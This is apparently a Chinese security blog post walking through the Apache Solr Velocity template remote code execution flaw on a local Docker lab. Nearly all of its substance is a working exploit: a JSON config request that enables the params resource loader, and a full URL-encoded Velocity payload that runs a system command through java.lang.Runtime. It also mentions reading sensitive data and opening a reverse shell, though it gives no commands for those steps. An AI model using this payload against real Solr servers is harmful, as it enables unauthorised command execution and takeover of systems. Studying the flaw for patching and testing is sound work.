Apache Solr Velocity模板远程代码执行

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

这里用的docker环境 很简单的 在这里不再介绍

本地搭建好环境然后访问8983端口 网页如下:

查下节点名称

同样名字可以访问http://192.168.35.185:8983/solr/admin/cores获取到名字

看下config的 红圈的这里两个点必须为true

通过发包来构造出来

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

随后开始命令执行

http://192.168.35.185:8983/solr/test/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 读取敏感信息

反弹shell拿管控权限

 

 更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

原文地址:https://www.cnblogs.com/Yang34/p/11790967.html